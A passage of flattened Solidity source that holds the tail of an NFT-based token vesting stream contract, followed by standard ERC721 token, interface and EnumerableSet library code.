uint256 totalAmount,
uint256 index
);
struct Claim {
address owner;
uint256 nftId;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
struct StreamInfo {
uint256 startTime;
bool notOverflow;
uint256 startDiff;
uint256 diff;
uint256 amountPerBlock;
uint256[] _timePeriods;
uint256[] _tokenAmounts;
}
mapping(address => uint256[]) private _ownerClaims;
mapping(uint256 => uint256[]) private _nftClaims;
constructor(address _tokenAddress, address _nftAddress) public {
require(
_tokenAddress.isContract(),
"_tokenAddress must be a contract address"
);
require(
_nftAddress.isContract(),
"_nftAddress must be a contract address"
);
tokenAddress = _tokenAddress;
nftAddress = _nftAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get NFT Claims
*
* @param nftId - NFT ID
*/
function nftClaims(uint256 nftId) external view returns (uint256[] memory) {
require(nftId != 0, "nftId cannot be 0");
return _nftClaims[nftId];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to NFT
*
* @param _nftId - Tokens will be claimed by owner of _nftId
* @param _startBlock - Block Number to start vesting from
* @param _stopBlock - Block Number to end vesting at (Release all tokens)
* @param _totalAmount - Total Amount to be Vested
* @param _blockTime - Block Time (used for predicting _timePeriods)
*/
function createClaim(
uint256 _nftId,
uint256 _startBlock,
uint256 _stopBlock,
uint256 _totalAmount,
uint256 _blockTime
) external returns (bool) {
require(_nftId != 0, "Cannot Vest to NFT 0");
require(
_stopBlock > _startBlock,
"_stopBlock must be greater than _startBlock"
);
require(tokenAddress.isContract(), "Invalid tokenAddress");
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperNFTVestStream contract"
);
// Calculate estimated epoch for _startBlock
StreamInfo memory streamInfo =
StreamInfo(0, false, 0, 0, 0, new uint256[](0), new uint256[](0));
(streamInfo.notOverflow, streamInfo.startDiff) = _startBlock.trySub(
block.number
);
if (streamInfo.notOverflow) {
// If Not Overflow
streamInfo.startTime = block.timestamp.add(
_blockTime.mul(streamInfo.startDiff)
);
} else {
// If Overflow
streamInfo.startDiff = block.number.sub(_startBlock);
streamInfo.startTime = block.timestamp.sub(
_blockTime.mul(streamInfo.startDiff)
);
}
// Calculate _timePeriods & _tokenAmounts
streamInfo.diff = _stopBlock.sub(_startBlock);
streamInfo.amountPerBlock = _totalAmount.div(streamInfo.diff);
streamInfo._timePeriods = new uint256[](streamInfo.diff);
streamInfo._tokenAmounts = new uint256[](streamInfo.diff);
streamInfo._timePeriods[0] = streamInfo.startTime;
streamInfo._tokenAmounts[0] = streamInfo.amountPerBlock;
for (uint256 i = 1; i < streamInfo.diff; i++) {
streamInfo._timePeriods[i] = streamInfo._timePeriods[i - 1].add(
_blockTime
);
streamInfo._tokenAmounts[i] = streamInfo.amountPerBlock;
}
// Transfer Tokens to SuperVestStream
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
nftId: _nftId,
timePeriods: streamInfo._timePeriods,
tokenAmounts: streamInfo._tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length - 1;
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_nftClaims[_nftId].push(index);
emit ClaimCreated(msg.sender, _nftId, _totalAmount, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the owner of the NFT
require(
msg.sender == ERC721(nftAddress).ownerOf(claim.nftId),
"msg.sender must own the NFT"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(msg.sender, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.nftId, msg.sender, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
